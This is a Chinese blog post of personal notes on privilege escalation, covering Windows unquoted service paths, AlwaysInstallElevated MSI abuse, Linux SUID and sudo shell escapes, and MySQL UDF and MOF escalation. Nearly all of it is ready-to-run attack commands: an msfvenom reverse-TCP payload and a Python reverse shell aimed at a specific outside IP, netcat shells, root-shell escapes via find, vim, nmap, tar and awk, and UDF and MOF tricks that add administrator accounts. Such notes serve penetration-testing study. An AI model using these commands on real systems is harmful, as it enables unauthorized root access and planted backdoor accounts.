首页 > 其他分享 >初入提权(随笔

初入提权(随笔

时间:2022-10-26 18:13:25浏览次数:63  
标签:bin sudo 初入 提权 udf 随笔 find bash

信息搜集

systeminfo | findstr /L /C:OS /C:KB
hostname //主机名
echo %username% //当前用户
net user //所有用户
sc qc Everything //查看服务权限

Windows

溢出提权

WMIC命令

wmic qfe list //查看计算机补丁安装情况
wmic product get name,version //查看是否是虚拟机
wmic cpu get addresswidth //查看系统位数

Searchsploit、Metasploit查找exp

例如 MS15-051.exe "whoami"

无引号路径提权 Trusted Service Paths

利用服务启动时检索程序,如果路径有空格且没有引号闭合,会优先检索空格前的路径,比如C:\Program Files\Common Files\Everything\Everything.exe,会优先检索C盘下的Program,然后检索Program Files下的Common,所以可以利用这个特性劫持服务启动

查看有没有加引号的服务路径

vmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

加入恶意程序达到提权目的

icacls "C:\Program Files\"  //查看当前用户对该目录的权限 F为完全控制 M为修改权限

用工具(msf,cs等等)生成反弹shell程序上传到对应路径下

mis提权

AlwaysInstallElevated是注册表的一个键值(windows 2003),
当其值为1的时候,普通用户即可以system权限安装msi程序。
当前用户权限是否能够更改MSI安装时的启用状态,如不能修改则必须为启用方可使用本次提权技术。

gpedit.msc

用户配置>>管理模板>>Windows 组件>>Windows Installer>>始终以提升的权限进行安装 已启用

image-20220922214008957

.msi是系统安装文件

image-20220922214029315

启动状态才可以成功
判断是否存在window本地提权安全问题:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

生成利用的MSI文件:

msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117  lport=5555 -f msi -o xiaodi.msi

执行MSI:

msiexec /quiet /qn /i xiaodi.msi

烂土豆提权

P0tato.exe -p whoami

计划任务提权

进程注入提权

Linux

SUID提权

?cmd=system("find test -exec whoami\;");

这里调用了find指令
而find指令所有者为root权限
导致exec后面的指令继承了权限.

手工命令探针安全:

find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {}
find / -perm -u=s -type f 2>/dev/null

存在 Nmap/Vim/find/Bash/More/Less/Nano/cp之一,就有可能存在SUID提权

touch xiaodi

会创建一个xiaodi的目录
然后通过搜索xiaodi并携带命令达到system的权限执行命令

find xiaodi -exec whoami \;

利用NC反弹:

find xiaodi -exec netcat -lvp 5555 -e /bin/sh
netcat xx.xx.xx.xx 5555

利用Python反弹:

find xiaodi -exec python -c 
'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("47.94.236.117",7777));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

nc -lvp 7777

SUDO提权

查询可用sudo命令

sudo -l

find

sudo find /bin/ -name ls -exec /bin/bash \;

git

sudo git -p help //强制进入交互状态,必须让页面缓冲区无法显示全部信息(放大字体/缩小显示区域即可)。
!/bin/bash 

su

sudo su - root

vim

sudo vim -c '!sh

nmap

echo "os.execute('/bin/sh')">/tmp/shell.nse
sudo nmap --script=/tmp/shell.nse

more

sudo more /etc/rsyslog.conf
!/bin/bash

zip

sudo zip /tmp/1.zip /tmp/test -T --unzip-command="sh -c /bin/bash"

1.zip: 是随手添加进去的一个zip文件
-T : 表示测试1.zip的完整性
--unzip-command-T 一起使用,可以指定自定义命令用于解压1.zip

tar

sudo tar cf /dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/bash

–checkpoint-action 选项是提权点,可以自定义需要执行的动作,指定为exec=/bin/bash,获取一个root权限的shell

strace

sudo strace -o/dev/null /bin/bash

strace: 以root权限运行跟踪调试/bin/bash, 从而获取root权限的shell

ftp

sudo ftp
ftp> !/bin/bash

passwd

sudo passwd
Enter new UNIX password: 
Retype new UNIX password: 

awk

sudo awk 'BEGIN {system("/bin/bash")}'

计划任务提权

数据库提权

MySQL

UDF提权

1、将udf文件放到指定位置
2、从udf文件中引入自定义函数
3、执行自定义函数

将获得的udf.dll文件转换成16进制

SELECT hex(load_file(0x433a5c5c55736572735c5c6b61316e34745c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c)) into dumpfile 'C:\\Users\\ka1n4t\\Desktop\\udf.txt';

load_file中的十六进制是'C:\\Users\\ka1n4t\\Desktop\\lib_mysqludf_sys.dll'

把本地的udf16进制形式上传webshell

1. CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。
2. INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //在udftmp中写入udf文件内容
3. SELECT c FROM udftmp INTO DUMPFILE 'H:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll'; //将udf文件内容传入新建的udf文件中,路径根据自己的@@basedir修改
//对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\

为了删除痕迹,把刚刚新建的udftmp表删掉

DROP TABLE udftmp; 

导入udf函数

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; 

提权成功

SELECT sys_eval('ipconfig');

几个常用的cmd指令,用于添加一个管理员用户

net user ka1n4t ka1n4t~!@ /add //添加新用户:ka1n4t,密码为ka1n4t~!@
net localgroup administrators ka1n4t /add //将ka1n4t添加至管理员分组

MOF提权

"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡.

mof文件代码如下所示

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
}; 

然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。
替换的sql语句:

select load_file('D:\wamp\xishaonian.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

标签:bin,sudo,初入,提权,udf,随笔,find,bash
From: https://www.cnblogs.com/IceSeclude/p/16829443.html

相关文章

  • 《渗透测试》学习随笔 day1
    概念名词1.域名(1)什么是域名? 域名:是由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名称,用于在数据传输时对计算机的定位标识(有时也指地理位置)(2)二级域......
  • 《计算机网络》第六章随笔
    6.1网络应用模型1.应用层概述(1)应用层对应用程序的通信提供服务(2)功能:文件传输、访问和管理;电子邮件、虚拟终端、查询服务和远程作业登陆(3)协议:FTP、SMTP、POP3、HTTP......
  • 博客园 首页 新随笔 联系 管理 .NET 5在Docker中访问MSSQL报错
    不知道你有没有在.NETCore/.NET5的Docker访问MSSQLServer数据库,如果有,那么很有可能会遇到这个错误。1SSL版本错误最近在公司用.NET5重构部分业务服务,由于之前老系......
  • Spring Security随笔
    今天在使用springsecurity自己想写一个sso的登陆方法的时候发现在进行springsecurity鉴权的时候,会调用到的方法我们只需要配置相对于的注解就能实现鉴权了  鉴权的......
  • git随笔
    概念工作区暂存区已提交工作流程:1.修改工作区(增加或者删除)2.暂存工作区的修改3.提交暂存区gitinitgitadd[<file>|<path>|.]gitcommit-m'111'......
  • 2022年10月22日随笔
    2小时前:后藤一里很对我的xp现在:我是喜多郁代的狗我是喜多郁代的狗我是喜多郁代的狗我是喜多郁代的狗我是喜多郁代的狗我是喜多郁代的狗我是喜多郁代的狗我是喜多郁代的狗......
  • Apple Low Power DisplayPort(ALP_DP)学习随笔
     edp是PC内置显示接口的主流标准,主用于笔记本电脑或PAD上,普遍用于中大尺寸PANEL。 系统架构如下:     apple 的ALP_DP 源于edp1.4(edp1.4又是源于DPV1.2a......
  • 《计算机网络》第五章学习随笔
    5.1传输层1.传输层是主机才有的层次,为应用层提供通信服务,使用网络层的服务2.功能(1)传输层提供进程与进程之间的逻辑通信(2)复用与分用(3)传输层对收到的报文进行差错检测......
  • python随笔
    python随笔type和object的区别1除object本身,任何类都继承object(object是继承关系顶点)特殊:B类继承A类,A类继承object,所以B还是间接继承了object2任何类都是由t......
  • PCA主成分分析原理随笔
    PCA是一种无监督学习的多元统计分析方法,提取多元事物是主要因素揭示其本质特征 D(经过预处理白数据)→SD(对数据进行拉伸)→RSD(对数据进行旋转)→D'数据拉伸方向为方......